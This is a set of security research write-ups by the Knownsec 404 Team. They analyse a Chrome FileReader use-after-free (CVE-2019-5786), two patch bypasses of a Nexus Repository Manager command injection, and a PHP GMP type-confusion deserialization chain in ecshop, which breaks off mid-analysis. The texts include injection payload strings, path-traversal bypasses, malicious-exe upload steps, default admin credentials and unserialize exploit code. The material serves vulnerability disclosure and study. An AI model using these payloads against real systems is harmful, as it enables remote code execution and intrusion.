-
CVE-2019-5786 漏洞原理分析及利用
作者:Kerne7@知道创宇404实验室
时间:2020年6月29日从补丁发现漏洞本质
首先根据谷歌博客收集相关CVE-2019-5786漏洞的资料:High CVE-2019-5786: Use-after-free in FileReader,得知是FileReader上的UAF漏洞。
然后查看https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449?diff=split上的补丁
对比补丁可以看到
DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer())
,操作放到了判断finished_loading后面,返回值也从result变成了array_buffer_result_(result的拷贝)。猜测可能是这个返回值导致的问题。分析代码
raw_data_->ToArrayBuffer()
可能会返回内部buffer的拷贝,或者是返回一个指向其偏移buffer的指针。根据MDN中FileReader.readAsArrayBuffer()的描述:
FileReader 接口提供的 readAsArrayBuffer() 方法用于启动读取指定的 Blob 或 File 内容。当读取操作完成时,readyState 变成 DONE(已完成),并触发 loadend 事件,同时 result 属性中将包含一个 ArrayBuffer 对象以表示所读取文件的数据。
FileReader.onprogress事件在处理progress时被触发,当数据过大的时候,onprogress事件会被多次触发。
所以在调用FileReader.result属性的时候,返回的是WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer对象的指针,Blob未被读取完时,指向一个WTF::ArrayBuffer副本,在已经读取完的时候返回WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer自身。
那么在标志finished_loading被置为ture的时候可能已经加载完毕,所以onprogress和onloaded事件中返回的result就可能是同一个result。通过分配给一个worker来释放其中一个result指针就可以使另一个为悬挂指针,从而导致UAF漏洞。
漏洞利用思路
我选择的32位win7环境的Chrome72.0.3626.81版本,可以通过申请1GB的ArrayBuffer,使Chrome释放512MB保留内存,通过异常处理使OOM不会导致crash,然后在这512MB的内存上分配空间。
调用FileReader.readAsArrayBuffer,将触发多个onprogress事件,如果事件的时间安排正确,则最后两个事件可以返回同一个ArrayBuffer。通过释放其中一个指针来释放ArrayBuffer那块内存,后面可以使用另一个悬挂指针来引用这块内存。然后通过将做好标记的JavaScript对象(散布在TypedArrays中)喷洒到堆中来填充释放的区域。
通过悬挂的指针查找做好的标记。通过将任意对象的地址设置为找到的对象的属性,然后通过悬挂指针读取属性值,可以泄漏任意对象的地址。破坏喷涂的TypedArray的后备存储,并使用它来实现对地址空间的任意读写访问。
之后可以加载WebAssembly模块会将64KiB的可读写执行存储区域映射到地址空间,这样的好处是可以免去绕过DEP或使用ROP链就可以执行shellcode。
使用任意读取/写入原语遍历WebAssembly模块中导出的函数的JSFunction对象层次结构,以找到可读写可执行区域的地址。将WebAssembly函数的代码替换为shellcode,然后通过调用该函数来执行它。
通过浏览器访问网页,就会导致执行任意代码
帮助
本人在初次调试浏览器的时候遇到了很多问题,在这里列举出一些问题来减少大家走的弯路。
因为chrome是多进程模式,所以在调试的时候会有多个chrome进程,对于刚开始做浏览器漏洞那话会很迷茫不知道该调试那个进程或者怎么调试,可以通过chrome自带的任务管理器来帮我们锁定要附加调试的那个进程ID。
这里新的标签页的进程ID就是我们在后面要附加的PID。
Chrome调试的时候需要符号,这是google提供的符号服务器(加载符号的时候需要翻墙)。在windbg中,您可以使用以下命令将其添加到符号服务器搜索路径,其中c:\Symbols是本地缓存目录:
1.sympath + SRV * c:\ Symbols * https://chromium-browser-symsrv.commondatastorage.googleapis.com因为Chrome的沙箱机制,在调试的过程中需要关闭沙箱才可以执行任意代码。可以在快捷方式中添加
no-sandbox
来关闭沙箱。由于这个漏洞机制的原因,可能不是每次都能执行成功,但是我们可以通过多次加载脚本的方式来达到稳定利用的目的。
在github上有chromuim的源码,在分析源码的时候推荐使用sourcegraph这个插件,能够查看变量的定义和引用等。
在需要特定版本Chrome的时候可以自己去build源码或者去网络上寻找chrome历代发行版收集的网站。
在看exp和自己编写的时候需要注意v8引擎的指针问题,v8做了指针压缩,所以在内存中存访的指针可能和实际数据位置地址有出入。
参考链接:
- https://www.anquanke.com/post/id/194351
- https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
- https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1257/
没有评论 -
Nexus Repository Manager 2.x 命令注入漏洞 (CVE-2019-5475) 两次绕过
作者: Badcode and Longofo@知道创宇404实验室
时间: 2020年2月9日
English Version:https://paper.seebug.org/1261/前言
2019年9月初我们应急了Nexus Repository Manager 2.x 命令注入漏洞(CVE-2019-5475),其大致的原因和复现步骤在 hackerone 上公布了,在应急完这个漏洞之后,我们分析该漏洞的修复补丁,发现修复不完全,仍然可以绕过,本篇文章记录该漏洞的两次绕过。虽然早发布了两次的修复版本,由于官方第二次更新公告太慢https://support.sonatype.com/hc/en-us/articles/360033490774,所以现在才发。
几次更新时间线:
- CVE-2019-5475(2019-08-09)
- 第一次绕过,CVE-2019-15588(2019-10-28)
- 第二次绕过,未分配CVE,更新了公告影响版本(2020-3-25)
注:原始漏洞分析、第一次绕过分析、第二次绕过分析部分主要由Badcode师傅编写,第二次绕过分析+、最新版本分析主要由Longofo添加。
原始漏洞分析
利用条件
- 需管理员权限(默认认证:admin/admin123)
漏洞分析
以下分析的代码基于 2.14.9-01 版本。
漏洞点是出现在 Yum Repository 插件中,当配置 Yum 的
createrepo
或者mergerepo
时代码层面会跳到
YumCapability
的activationCondition
方法中。在上面
Path of "createrepo"
中设置的值会通过getConfig().getCreaterepoPath()
获取到,获取到该值之后,调用this.validate()
方法传进来的
path
是用户可控的,之后将path
拼接--version
之后传递给commandLineExecutor.exec()
方法,看起来像是执行命令的方法,而事实也是如此。跟进CommandLineExecutor
类的exec
方法在执行命令前先对命令解析,
CommandLine.parse()
,会以空格作为分隔,获取可执行文件及参数。最终是调用了
Runtime.getRuntime().exec()
执行了命令。例如,用户传入的 command 是
cmd.exe /c whoami
,最后到getRuntime().exec()
方法就是Runtime.getRuntime().exec({"cmd.exe","/c","whoami"})
。所以漏洞的原理也很简单,就是在
createrepo
或者mergerepo
路径设置的时候,该路径可以由用户指定,中途拼接了--version
字符串,最终到了getRuntime.exec()
执行了命令。漏洞复现
在
Path of "createrepo"
里面传入 payload。在
Status
栏可以看到执行的结果第一次绕过分析
第一次补丁分析
官方补丁改了几个地方,关键点在这里
常规做法,在执行命令前对命令进行过滤。新增加了一个
getCleanCommand()
方法,对命令进行过滤。allowedExecutables
是一个 HashSet,里面只有两个值,createrepo
和mergerepo
。先判断用户传入的command
是否在allowedExecutables
里面,如果在,直接拼接params
即--version
直接返回。接着对用户传入的command
进行路径判断,如果是以nexus的工作目录(applicationDirectories.getWorkDirectory().getAbsolutePath()
)开头的,直接返回 null。继续判断,如果文件名不在allowedExecutables
则返回 null,也就是这条命令需要 以/createrepo
或者/mergerepo
结尾。都通过判断之后,文件的绝对路径拼接--version
返回。第一次补丁绕过
说实话,看到这个补丁的第一眼,我就觉得大概率可以绕。
传入的命令满足两个条件即可,不以nexus的工作目录开头,并且以
/createrepo
或者/mergerepo
结尾即可。看到补丁中的
getCleanCommand()
方法,new File(command)
是关键,new File()
是通过将给定的路径名字符串转换为抽象路径名来创建新的File实例。 值得注意的是,这里面路径字符串是可以使用空格的,也就是12String f = "/etc/passwd /shadow";File file = new File(f);这种是合法的,并且调用
file.getName()
取到的值是shadow
。结合这个特性,就可以绕过补丁里面的判断。1234String cmd = "/bin/bash -c whoami /createrepo";File file = new File(cmd);System.out.println(file.getName());System.out.println(file.getAbsolutePath());运行结果
可以看到,
file.getName()
的值正是createrepo
,满足判断。第一次绕过测试
测试环境
- 2.14.14-01 版本
- Linux
测试步骤
在
Path of "createrepo"
里面传入 payload。在
Status
栏查看执行的结果可以看到,成功绕过了补丁。
在 Windows 环境下面就麻烦点了,没有办法使用
cmd.exe /c whoami
这种形式执行命令了,因为cmd.exe /c whoami
经过new File()
之后变成了cmd.exe \c whoami
,后面是执行不了的。可以直接执行exe,注意后面是还会拼接--version
的,所以很多命令是执行不了的,但是还是有办法利用能执行任意exe这点来做后续的攻击的。第二次绕过分析
第二次补丁分析
在我提交上述绕过方式后,官方修复了这种绕过方式,看下官方的补丁
在
getCleanCommand()
方法中增加了一个file.exists()
判断文件是否存在。之前的/bin/bash -c whoami /createrepo
这种形式的肯定就不行了,因为这个文件并不存在。所以现在又多了一个判断,难度又加大了。难道就没有办法绕过了?不是的,还是可以绕过的。第二次补丁绕过
现在传入的命令要满足三个条件了
- 不以nexus的工作目录开头
- 以
/createrepo
或者/mergerepo
结尾 - 并且这
createrepo
或者mergerepo
这个文件存在
看到
file.exists()
我就想起了 php 中的file_exists()
,以前搞 php 的时候也遇到过这种判断。有个系统特性,在 Windows 环境下,目录跳转是允许跳转不存在的目录的,而在Linux下面是不能跳转不存在目录的。测试一下
Linux
可以看到,
file.exists()
返回了 falseWindows
file.exists()
返回了 true上面我们说了
new File(pathname)
,pathname 是允许带空格的。在利用上面WIndows环境下的特性,把cmd设置成C:\\Windows\\System32\\calc.exe \\..\\..\\win.ini
经过
parse()
方法,最终到getRuntime.exec({"C:\\Windows\\System32\\calc.exe","\\..\\..\\win.ini"})
,这样就能执行calc
了。在上面这个测试
win.ini
是确实存在的文件,回到补丁上面,需要判断createrepo
或者mergerepo
存在。首先从功能上来说,createrepo 命令用于创建 yum 源(软件仓库),即为存放于本地特定位置的众多rpm包建立索引,描述各包所需依赖信息,并形成元数据。也就是这个createrepo
在Windows下不太可能存在。如果这个不存在的话是没有办法经过判断的。既然服务器内不存在createrepo
,那就想办法创建一个,我首先试的是找个上传点,尝试上传一个createrepo
,但是没找到上传之后名字还能保持不变的点。在Artifacts Upload
处上传之后,都变成Artifact-Version.Packaging
这种形式的名字了,Artifact-Version.Packaging
这个是不满足第二个判断的,得以createrepo
结尾。一开始看到
file.exists()
就走进了思维定势,以为是判断文件存在的,但是看了官方的文档,发现是判断文件或者目录存在的。。这点也就是这个漏洞形成的第二个关键点,我不能创建文件,但是可以创建文件夹啊。在Artifacts Upload
上传Artifacts 的时候,可以通过GAV Parameters
来定义。当
Group
设置为test123
,Artifact
设置为test123
,Version
设置成1
,当上传Artifacts
的时候,是会在服务器中创建对应的目录的。对应的结构如下如果我们将
Group
设置为createrepo
,那么就会创建对应的createrepo
目录。结合两个特性来测试一下
12345String cmd = "C:\\Windows\\System32\\calc.exe \\..\\..\\..\\nexus\\sonatype-work\\nexus\\storage\\thirdparty\\createrepo";File file = new File(cmd);System.out.println(file.exists());System.out.println(file.getName());System.out.println(file.getAbsolutePath());可以看到,
file.exists()
返回了true,file.getName()
返回了createrepo
,都符合判断了。最后到
getRuntime()
里面大概就是getRuntime.exec({"C:\Windows\System32\notepad.exe","\..\..\..\nexus\sonatype-work\nexus\storage\thirdparty\createrepo","--version"})
是可以成功执行
notepad.exe
的。(calc.exe演示看不到进程哈,所以换成Notepad.exe)第二次绕过测试
测试环境
- 2.14.15-01 版本
- Windows
测试步骤
在
Path of "createrepo"
里面传入 payload。查看进程,
notepad.exe
启动了可以看到,成功绕过了补丁。
第二次绕过分析+
经过Badcode师傅第二次绕过分析,可以看到能成功在Windows系统执行命令了。但是有一个很大的限制:
- nexus需要安装在系统盘
- 一些带参数的命令无法使用
在上面说到的
Artifacts Upload
上传处是可以上传任意文件的,并且上传后的文件名都是通过自定义的参数拼接得到,所以都能猜到。那么可以上传自己编写的任意exe文件了。第二次绕过分析+测试
测试环境
- 2.14.15-01 版本
- Windows
测试步骤
导航到
Views/Repositories->Repositories->3rd party->Configuration
,我们可以看到默认本地存储位置
的绝对路径(之后上传的内容也在这个目录下):导航到
Views/Repositories->Repositories->3rd party->Artifact Upload
,我们可以上传恶意的exe文件:该exe文件将被重命名为
createrepo-1.exe
(自定义的参数拼接的):同样在
Path of "createrepo"
里面传入 payload(这时需要注意前面部分这时是以nexus安装目录开头的,这在补丁中会判断,所以这里可以在最顶层加..\
或者弄个虚假层aaa\..\
等):可以看到createrepo-1.exe已经执行了:
最新版本分析
最新版本补丁分析
第二次补丁绕过之后,官方又进行了修复,官方补丁主要如下:
删除了之前的修复方式,增加了
YumCapabilityUpdateValidator
类,在validate
中将获取的值与properties中设置的值使用equals
进行绝对相等验证。这个值要修改只能通过sonatype-work/nexus/conf/capabilities.xml
:最新版本验证
前端直接禁止修改了,通过抓包修改测试:
在
YumCapabilityUpdateValidator.validate
断到:可以看到这种修复方式无法再绕过了,除非有文件覆盖的地方覆盖配置文件,例如解压覆盖那种方式,不过没找到。
不过
Artifacts Upload
那里可以上传任意文件的地方依然还在,如果其他地方再出现上面的情况依然可以利用到。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1260/
-
Nexus Repository Manager 2.x command injection vulnerability (CVE-2019-5475) bypassed twice
Author: Badcode and Longofo@Knownsec 404 Team
Date: 2020/02/09
Chinese Version: https://paper.seebug.org/1260/Foreword
At the beginning of September 2019, we responded to the Nexus Repository Manager 2.x command injection vulnerability (CVE-2019-5475). The general reason and steps for recurrence are on Hackerone. It was announced that after emergency response to this vulnerability, we analyzed the patch to fix the vulnerability and found that the repair was incomplete and could still be bypassed. This article records two bypasses of the vulnerability. Although the fix version was released twice early, the official second update announcement is too slow https://support.sonatype.com/hc/en-us/articles/360033490774, so now we post this article.
The timeline:
- CVE-2019-5475(2019-08-09)
- Bypassed for the first time, CVE-2019-15588 (2019-10-28)
- Bypassed for the second time, CVE was not assigned, and the bulletin impact version was updated (2020-3-25)
Note: The original vulnerability analysis, the first bypass analysis, and the second bypass analysis were mainly written by Badcode, the second bypass analysis+, and the latest version analysis was mainly added by Longofo.
Original vulnerability analysis
Conditions of use
- Requires administrator rights (default authentication: admin/admin123)
Vulnerability analysis
The code analyzed below is based on version 2.14.9-01.
The vulnerability is in the Yum Repository plugin, when configuring Yum's
createrepo
ormergerepo
The code level will jump to
YumCapabilit
activationCondition
method:The value set in
Path of "createrepo"
above will be obtained throughgetConfig().getCreaterepoPath()
. After obtaining this value, call thethis.validate()
method onPath of "createrepo"
. The value set in will be obtained throughgetConfig().getCreaterepoPath()
. After obtaining this value, call thethis.validate()
methodThe
path
passed in is user-controllable, and then thepath
splicing--version
is then passed to thecommandLineExecutor.exec()
method, which looks like a method of executing commands, and this is also the case. Follow up theexec
method of theCommandLineExecutor
classParse the command before executing the command.
CommandLine.parse()
will use spaces as separators to obtain executable files and parameters. Eventually, the call toRuntime.getRuntime().exec()
executed the command. For example, the command passed by the user iscmd.exe /c whoami
, and finally the method togetRuntime().exec()
isRuntime.getRuntime().exec({"cmd.exe","/c" ,"whoami"})
. So the principle of the vulnerability is also very simple, that is, when thecreaterepo
ormergerepo
path is set, the path can be specified by the user, the--version
string is spliced halfway, and finally it is executed atgetRuntime.exec()
Order.Vulnerability reproduction
Pass the payload in
Path of "createrepo"
.You can see the execution result in the
Status
columnBypass analysis for the first time
First patch analysis
The official patch has changed a few places, the key point is here
It is common practice to filter commands before executing them. A new
getCleanCommand()
method has been added to filter commands.allowedExecutables
is a HashSet with only two values,createrepo
andmergerepo
. First determine whether thecommand
passed in by the user is inallowedExecutables
, if so, directly spliceparams
ie--version
and return directly. Then determine the path of thecommand
passed in by the user. If it starts with the working directory of nexus (applicationDirectories.getWorkDirectory().getAbsolutePath()
), return null directly. Continue to judge, if the file name is not inallowedExecutables
then return null, that is, this command needs to end with/createrepo
or/mergerepo
. After passing the judgment, the absolute path of the file is concatenated and returned by--version
.First patch bypass
To be honest, at the first glance at this patch, I felt that there was a high probability that it would be around.
The incoming command only needs to meet two conditions, not beginning with nexus' working directory, and ending with
/createrepo
or/mergerepo
.Seeing the
getCleanCommand()
method in the patch,new File(command)
is the key, andnew File()
is to create a new File instance by converting the given pathname string into an abstract pathname. It is worth noting that spaces can be used in the path string, which is12String f = "/etc/passwd /shadow";File file = new File(f);This is legal, and the value obtained by calling
file.getName()
isshadow
. Combined with this feature, you can bypass the judgment in the patch.1234String cmd = "/bin/bash -c whoami /createrepo";File file = new File(cmd);System.out.println(file.getName());System.out.println(file.getAbsolutePath());operation result
It can be seen that the value of
file.getName()
is exactlycreaterepo
, which satisfies the judgment.Bypassing the test for the first time
Test environment
- 2.14.14-01 version
- Linux
Test procedure
Pass the payload in
Path of "createrepo"
.Check the execution result in the
Status
columnAs you can see, the patch was successfully bypassed.
Under the Windows environment, it is a little troublesome. There is no way to execute commands in the form of
cmd.exe /c whoami
, becausecmd.exe /c whoami
becomescmd.exe \c whoami
afternew File()
, which cannot be executed later. You can directly execute the exe. Note that--version
will also be spliced later, so many commands cannot be executed, but there is still a way to make use of the ability to execute any exe to carry out subsequent attacks.Second bypass analysis
Second patch analysis
After I submitted the above bypass method, the official fixed this bypass method, see the official patch
Added a
file.exists()
method in thegetCleanCommand()
method to determine whether the file exists. The previous form of/bin/bash -c whoami /createrepo
would definitely not work, because this file does not exist. So now there is another judgment, and the difficulty has increased. Is there no way to bypass it? No, it can still be bypassed.Second patch bypass
Now the incoming command has to meet three conditions
- Does not start with nexus' working directory
- End with
/createrepo
or/mergerepo
- And this file
createrepo
ormergerepo
exists
Seeing
file.exists()
, I rememberedfile_exists()
in php. I also encountered this kind of judgment when I was doing php before. There is a system feature. In the Windows environment, directory jumps are allowed to jump to non-existing directories, while under Linux, you cannot jump to non-existing directories.have a test
Linux
As you can see,
file.exists()
returned falseWindows
file.exists()
returned trueAbove we said
new File(pathname)
, pathname is allowed with spaces. Using the features of the above WIndows environment, set cmd toC:\\Windows\\System32\\calc.exe \\..\\..\\win.ini
After the
parse()
method, finallygetRuntime.exec({"C:\\Windows\\System32\\calc.exe","\\..\\..\\win.ini"})
, So that you can executecalc
.In the above test, "win.ini" is a file that does exist. Returning to the patch, you need to determine whether
createrepo
ormergerepo
exists. First of all, from a functional point of view, the createrepo command is used to create a yum source (software repository), that is, to index many rpm packages stored in a specific local location, describe the dependency information required by each package, and form metadata. That is, thiscreaterepo
is unlikely to exist under Windows. If this does not exist, there is no way to judge. Sincecreaterepo
does not exist on the server, I will try to create one. I first tried to find an upload point and tried to upload acreaterepo
, but I didn't find a point where the name would remain unchanged after uploading. After uploading atArtifacts Upload
, it becomes the name of the formArtifact-Version.Packaging
.Artifact-Version.Packaging
does not satisfy the second judgment and ends withcreaterepo
.At the beginning, when I saw
file.exists()
, I entered the mindset, thinking that it was judged that the file exists, but after reading the official documentation, I found that the file or directory exists. This is the second key point caused by this vulnerability. I can't create files, but I can create folders. When uploading Artifacts inArtifacts Upload
, it can be defined byGAV Parameters
.When
Group
is set totest123
,Artifact
is set totest123
, andVersion
is set to1
, when uploadingArtifacts
, the corresponding directory will be created in the server. The corresponding structure is as followsIf we set
Group
tocreaterepo
, then the correspondingcreaterepo
directory will be created.Combine two features to test
12345String cmd = "C:\\Windows\\System32\\calc.exe \\..\\..\\..\\nexus\\sonatype-work\\nexus\\storage\\thirdparty\\createrepo";File file = new File(cmd);System.out.println(file.exists());System.out.println(file.getName());System.out.println(file.getAbsolutePath());As you can see,
file.exists()
returned true, andfile.getName()
returnedcreaterepo
, both of which met the judgment.Finally, in
getRuntime()
, it is probablygetRuntime.exec({"C:\Windows\System32\notepad.exe","\..\..\..\nexus\sonatype-work\nexus\storage\thirdparty\createrepo","--version"})
Can successfully execute
notepad.exe
. (The calc.exe demo cannot see the process, so replace it with Notepad.exe)Second bypass test
Test environment
- 2.14.15-01 version
- Windows
Test procedure
Pass the payload in
Path of "createrepo"
.View the process,
notepad.exe
startedAs you can see, the patch was successfully bypassed.
Second bypass analysis+
After the second bypass analysis by @Badcode, you can see that you can successfully execute commands on the Windows system. But there is a big limitation:
- nexus needs to be installed on the system disk
- Some commands with parameters cannot be used
The above-mentioned "Artifacts Upload" upload location can upload any file, and the uploaded file name is obtained by splicing with custom parameters, so you can guess. Then you can upload any exe file you wrote.
Second bypass analysis + test
Test environment
- 2.14.15-01 version
- Windows
Test procedure
Navigate to
Views/Repositories->Repositories->3rd party->Configuration
, we can see the absolute path ofdefault local storage location
(the content uploaded later is also in this directory):Navigate to
Views/Repositories->Repositories->3rd party->Artifact Upload
, we can upload malicious exe files:The exe file will be renamed to
createrepo-1.exe
(spliced by custom parameters):Also pass the payload into
Path of "createrepo"
(at this time, please note that the previous part starts with the nexus installation directory, which will be judged in the patch, so you can add..\
at the top level or Get a false layeraaa\..\
etc.):You can see that createrepo-1.exe has been executed:
Latest version analysis
Latest version patch analysis
After the second patch was bypassed, the official fixed it again. The official patch is as follows:
Removed the previous repair method and added the
YumCapabilityUpdateValidator
class. Invalidate
, the obtained value and the value set in the properties are verified using absolutes for equal equality. This value can only be modified throughsonatype-work/nexus/conf/capabilities.xml
:Latest version verification
The front end is directly prohibited from modification, and the test is modified by capturing packets:
In
YumCapabilityUpdateValidator.validate
breaks to:It can be seen that this repair method can no longer be bypassed, unless the configuration file is overwritten by the file coverage, such as decompression and overwriting, but I was not found.
However, the place where Artifacts Upload can upload arbitrary files is still there. If the above situation appears in other places, it can still be used.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1261/
-
From Deserialization to Type Confusion Vulnerability —— A Real Use in Ecshop Lastest
Author: LoRexxar'@Knownsec 404 Team
Date: March 31,2020.
Chinese Version: https://paper.seebug.org/1267This article was originally completed on March 31, 2020. Because it involves 0day utilization, it was reported to the vendor on March 31, 2020, and released after the 90-day vulnerability disclosure period.
A few days ago, I accidentally saw a vulnerability report submitted on Hackerone. In this vulnerability, the vulnerability discoverer proposed a very interesting use. The author makes use of a type confusion vulnerability of GMP and cooperates with the corresponding utilization chain to construct a code execution of mybb. Here we take a look at this vulnerability.
Some details of the following article, thanks to the vulnerability discoverer @taoguangchen for his help.
GMP type confusion vulnerability
-https://bugs.php.net/bug.php?id=70513
Vulnerability conditions
- php 5.6.x
- Deserialization entry point
- The trigger point that can trigger
__wakeup
(below php < 5.6.11, you can use the built-in class)
Vulnerability details
gmp.c
1234567891011121314151617static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */{...ALLOC_INIT_ZVAL(zv_ptr);if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)|| Z_TYPE_P(zv_ptr) != IS_ARRAY) {zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);goto exit;}if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {zend_hash_copy(zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *));}zend_object_handlers.c
123456789ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */{zend_object *zobj;zobj = Z_OBJ_P(object);if (!zobj->properties) {rebuild_object_properties(zobj);}return zobj->properties;}From the snippet in gmp.c, we can roughly understand the original words of vulnerability discoverer taoguangchen.
Magic methods such as
__wakeup
can cause ZVAL to be modified in memory. Therefore, an attacker can convert **object to an integer or bool type ZVAL, then we can access any object stored in the object storage throughZ_OBJ_P
, which means that any object can be overwritten throughzend_hash_copy
attributes, which may cause a lot of problems, and can also cause security problems in certain scenarios.Perhaps it is impossible to understand the above words only with code snippets, but we can take a look at the actual test.
First let's look at a test code
123456789101112131415161718192021222324252627282930313233343536373839<?phpclass obj{var $ryat;function __wakeup(){$this->ryat = 1;}}class b{var $ryat =1;}$obj = new stdClass;$obj->aa = 1;$obj->bb = 2;$obj2 = new b;$obj3 = new stdClass;$obj3->aa =2;$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';$x = unserialize($exploit);$obj4 = new stdClass;var_dump($x);var_dump($obj);var_dump($obj2);var_dump($obj3);var_dump($obj4);?>In the code, I show the environment in many different situations.
Let's see what the result is?
12345678910111213141516171819202122232425array(1) {[0]=>&int(1)}object(stdClass)#1 (3) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(1)}}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}I successfully modified the first declared object.
But what happens if I change the deserialized class to b?
1$inner ='s:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i :0;O:1:"b":1:{s:4:"ryat";R:2;}}';Obviously, it will not affect other class variables
1234567891011121314151617181920212223242526272829303132333435363738394041array(1) {[0]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(b)#5 (1) {["ryat"]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>*RECURSION*["num"]=>string(2) "32"}}["num"]=>string(2) "32"}}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#6 (0) {}If we add a
__Wakeup
function to class b, then it will produce the same effect.But if we set the variable in the wakeup magic method to 2
123456789class obj{var $ryat;function __wakeup(){$this->ryat = 2;}}The results returned can be seen, we successfully modified the second declared object.
1234567891011121314151617181920212223242526272829array(1) {[0]=>&int(2)}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (4) {["ryat"]=>int(1)["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(2)}}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}But if we change ryat to 4, then the page will return 500 directly, because we modified the unallocated object space.
After completing the previous experiments, we can simplify the conditions for exploiting the vulnerability.
If we have a controllable deserialization entry, the target backend PHP has a GMP plugin installed (this plugin is not installed by default in the original PHP, but some packaging environments will bring it), If we find a controllable
__wakeup
magic method, we can modify the object properties declared before deserialization and cooperate with the scene to produce actual security problems.If the target php version is in 5.6 <= 5.6.11, we can directly use the built-in magic method to trigger this vulnerability.
1var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval ":1:{s:1:"y";R:2;}}'));Real world case
After discussing the GMP type confusion vulnerability, we must discuss how this vulnerability is used in real scenarios.
Taoguang Chen, the discoverer of the vulnerability, submitted a related exploit in mybb.
Here we do not continue to discuss this vulnerability, but discuss the use in ecshop from scratch.
Vulnerable Environment
- ecshop 4.0.7
- php 5.6.9
Deserialization Vulnerability
First we need to find an entry point for deserialization. Here we can search for
unserialize
globally. Looking at each of them, we can find two controllable deserialization entries.One of them is search.php line 45
123456789...{$string = base64_decode(trim($_GET['encode']));if ($string !== false){$string = unserialize($string);if ($string !== false)...This is an entrance to the front desk, but unfortunately, the initialization file is introduced after deserialization, which also makes us unable to find a target that can override the properties of class variables, and there is no way to use it further.
Another one is admin/order.php line 229
123456/* 取得上一个、下一个订单号 */if (!empty($_COOKIE['ECSCP']['lastfilter'])){$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));...This function of the form page in the background meets our requirements. Not only can it be controlled, but also urlencode can be used to bypass ecshop's filtering of global variables.
In this way, we have found a controllable and suitable deserialization entry point.
Find the appropriate class attribute utilization chain
Before looking for a utilization chain, we can use
1get_declared_classes()To determine the class that has been declared when deserializing.
In my local environment, I found 13 classes in addition to the PHP built-in classes
1234567891011121314151617181920212223242526[129]=>string(3) "ECS"[130]=>string(9) "ecs_error"[131]=>string(8) "exchange"[132]=>string(9) "cls_mysql"[133]=>string(11) "cls_session"[134]=>string(12) "cls_template"[135]=>string(11) "certificate"[136]=>string(6) "oauth2"[137]=>string(15) "oauth2_response"[138]=>string(14) "oauth2_request"[139]=>string(9) "transport"[140]=>string(6) "matrix"[141]=>string(16) "leancloud_client"You can also see from the code that multiple library files are imported in the file header
123456require(dirname(__FILE__) . '/includes/init.php');require_once(ROOT_PATH . 'includes/lib_order.php');require_once(ROOT_PATH . 'includes/lib_goods.php');require_once(ROOT_PATH . 'includes/cls_matrix.php');include_once(ROOT_PATH . 'includes/cls_certificate.php');require('leancloud_push.php');Here we mainly focus on init.php, because most common classes of ecshop are declared in this file.
When looking at the class variables one by one, we can keenly see a special variable. Due to the special background structure of ecshop, most of the page content is compiled from templates, and this template class happens to be in init.php. statement
12require(ROOT_PATH . 'includes/cls_template.php');$smarty = new cls_template;Back in order.php, we are looking for methods related to
$smarty
, it is not difficult to find, mainly concentrated in two methods12345...$smarty->assign('shipping', $shipping);$smarty->display('print.htm');...Here we mainly focus on the display method.
A rough look at the logic of the display method:
12345Request the corresponding template file-->After a series of judgments, the corresponding template files will be compiled accordingly-->Output the compiled file addressThe more important code will be defined in the function
make_compiled
123456789101112131415161718192021function make_compiled($filename){$name = $this->compile_dir . '/' . basename($filename) . '.php';...if ($this->force_compile || $filestat['mtime'] > $expires){$this->_current_file = $filename;$source = $this->fetch_str(file_get_contents($filename));if (file_put_contents($name, $source, LOCK_EX) === false){trigger_error('can\'t write:' . $name);}$source = $this->_eval($source);}return $source;}When the process reaches this point, we need to find out what our goal is first?
Re-examining the code of
cls_template.php
